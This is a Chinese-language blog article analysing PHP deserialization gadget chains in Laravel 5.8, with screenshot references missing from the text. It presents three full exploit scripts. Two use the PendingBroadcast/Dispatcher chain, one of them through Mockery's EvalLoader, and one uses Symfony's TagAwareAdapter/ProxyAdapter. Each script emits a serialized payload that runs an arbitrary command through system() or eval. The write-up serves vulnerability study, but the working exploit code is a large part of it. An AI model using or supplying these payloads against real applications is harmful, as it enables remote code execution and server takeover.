意见箱
恒创运营部门将仔细参阅您的意见和建议,必要时将通过预留邮箱与您保持联络。感谢您的支持!
意见/建议
提交建议

Laravel5.8反序列化漏洞的示例分析

来源:恒创科技 编辑:恒创科技编辑部
2023-12-03 16:44:59

这篇文章将为大家详细讲解有关Laravel 5.8反序列化漏洞的示例分析,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。

Laravel 5.8反序列化漏洞

POP链1

PendingBroadcast->destruct--->Dispatcher->dispatch--->Dispatcher->dispatchToQueue

先看Dispatcher->dispatchToQueue,只要call_user_func的参数都可控,即可执行任意命令


Laravel5.8反序列化漏洞的示例分析

再看pop链首

PendingBroadcast->__destruct

$this->events与$this->event可控。

这里需要调用Dispatcher->dispatch

跟进commandShouldBeQueued,只要$command属于ShouldQueue类(子类也行)即可返回true

跟进Dispatcher->dispatchToQueue

$this->queueResolver可控,$connection由传入的$command控制,也即是上面的$this->event,可控。

只要找到一个包含$connection属性的ShouldQueue的实现类即可执行任意代码。

先找到ShouldQueue的实现类如下

这些类自身没有$connection属性,但是一些类使用的trait类Queueable中有$connection,如下

故如下类,可用

QueuedCommandBroadcastEventSendQueuedNotificationsCallQueuedClosure

至此已可编写exp,整理一下

PendingBroadcast->events = Dispatcher类PendingBroadcast->event = BroadcastEvent类//包含$connection属性的ShouldQueue的实现类Dispatcher->queueResolver = 要执行的函数BroadcastEvent->connection = 参数

exp1

<?phpnamespace Illuminate\Bus;class Dispatcher implements QueueingDispatcher{    protected $queueResolver;        public function __construct(){        $this->queueResolver = "system";    }}namespace Illuminate\Broadcasting;class BroadcastEvent implements ShouldQueue{    public $connection;        public function __construct($cmd){        $this->connection  = $cmd;    }}    namespace Illuminate\Broadcasting;class PendingBroadcast{    protected $events;    protected $event;        public function __construct($events,$event){        $this->events = $events;        $this->event = $event;    }   }$broadcastevent = new Illuminate\Broadcasting\BroadcastEvent($argv[1]);$dispatcher = new Illuminate\Bus\Dispatcher();$pending = new Illuminate\Broadcasting\PendingBroadcast($dispatcher,$broadcastevent);echo urlencode(serialize($pending));echo "\n";?>

控制broadcastevent的$connection为要执行命令的参数即可执行命令了,其他师傅没有这么做,不是很理解原因。但是下面还是说一下其他师傅的。

利用参数可控的call_user_func可调用任意类方法,如下

故,这里可以调用EvalLoader类的load方法,如下

MockDefinition类的getCode方法返回值可控,如下

只要控制了code并且不进入if语句(使得$definition->getClassName为一个未被载入的类),即可执行代码

跟踪getClassName方法

全局查找返回值可控的getName方法,发现MockConfiguration类

至此可编写exp,整理一下如下

PendingBroadcast->events = Dispatcher类PendingBroadcast->event = BroadcastEvent类//包含$connection属性的ShouldQueue的实现类Dispatcher->queueResolver = [EvalLoader类,"load"]BroadcastEvent->connection = MockDefinition类MockDefinition->config = MockConfiguration类//任一getName返回值可控的类MockDefinition->code = 要执行的代码MockConfiguration->name = ConfigCacheCommand类//任一未被载入的类

exp2

<?phpnamespace Illuminate\Bus;class Dispatcher{    protected $queueResolver;        public function __construct($cmd){        $this->queueResolver = $cmd;    }}namespace Illuminate\Broadcasting;class BroadcastEvent{    public $connection;        public function __construct($cmd){        $this->connection  = $cmd;    }}namespace Mockery\Generator;class MockDefinition{protected $config;protected $code;public function __construct($mockconfiguration,$code){$this->config = $mockconfiguration;$this->code = $code;}}namespace Mockery\Generator;class MockConfiguration{protected $name;public function __construct($class){$this->name  = $class;}}namespace Mockery\Loader;class EvalLoader{}namespace Illuminate\Foundation\Console;class ConfigCacheCommand{}    namespace Illuminate\Broadcasting;class PendingBroadcast{    protected $events;    protected $event;        public function __construct($events,$event){        $this->events = $events;        $this->event = $event;    }   }$mockconfiguration = new \Mockery\Generator\MockConfiguration(new \Illuminate\Foundation\Console\ConfigCacheCommand());$mockdefinition = new \Mockery\Generator\MockDefinition($mockconfiguration,"<?php system($argv[1]);?>");$broadcastevent = new \Illuminate\Broadcasting\BroadcastEvent($mockdefinition);$dispatcher = new \Illuminate\Bus\Dispatcher(array(new \Mockery\Loader\EvalLoader(),"load"));$pending = new \Illuminate\Broadcasting\PendingBroadcast($dispatcher,$broadcastevent);echo urlencode(serialize($pending));echo "\n";?>

POP链2

TagAwareAdapter->__destruct--->TagAwareAdapter->commit--->TagAwareAdapter->invalidateTags--->ProxyAdapter->saveDeferrred--->ProxyAdapter->doSave

先看命令执行处

若ProxyAdapter->setInnerItem、$innerItem、$item可控,则可命令执行。

回到POP链首

TagAwareAdapter->__destruct

跟进,TagAwareAdapter->commit

跟进,TagAwareAdapter->invalidateTags(截取部分)

令$this->pool=ProxyAdapter类

跟进ProxyAdapter->saveDeferred

跟进ProxyAdapter->doSave

首先,$item为我们传入的参数,也即是$TagAwareAdapter->deferred,可控。

204行的if语句,只要使得$item为CacheItem的实例即可通过。

$this->setInnerItem为ProxyAdapter的属性,可控。

$innerItem可通过代码213行控制

至此可以编写exp,整理一下

$TagAwareAdapter->deferred = ["4ut15m",CacheItem类]$TagAwareAdapter->pool = ProxyAdapter类$ProxyAdapter->setInnerItem = "system";$ProxyAdapter->poolHash = "4ut15m";$CacheItem->innerItem = 要执行的命令$CacheItem->poolHash = "4ut15m";

这条链并不复杂,具体的内容看exp

exp

<?phpnamespace Symfony\Component\Cache\Adapter;class TagAwareAdapter{private $deferred;private $pool;public function __construct($obj, $obj2){$this->deferred = array("4ut15m" => $obj2);$this->pool = $obj;}}namespace Symfony\Component\Cache;final class CacheItem{protected $innerItem;protected $poolHash;public function __construct($cmd){$this->innerItem = "$cmd";$this->poolHash = "4ut15m";}}namespace Symfony\Component\Cache\Adapter;class ProxyAdapter{private $setInnerItem;private $poolHash;public function __construct(){$this->setInnerItem = "system";$this->poolHash = "4ut15m";}}$cacheitem = new \Symfony\Component\Cache\CacheItem($argv[1]);$proxyadapter = new \Symfony\Component\Cache\Adapter\ProxyAdapter();$TagAwareAdapter = new \Symfony\Component\Cache\Adapter\TagAwareAdapter($proxyadapter, $cacheitem);echo urlencode(serialize($TagAwareAdapter));echo "\n";?>

关于“Laravel 5.8反序列化漏洞的示例分析”这篇文章就分享到这里了,希望以上内容可以对大家有一定的帮助,使各位可以学到更多知识,如果觉得文章不错,请把它分享出去让更多的人看到。

上一篇: mysql直接拷贝data目录下数据库源文件还原数据库方法 下一篇: 如何使用Falco检测漏洞CVE-2020-8554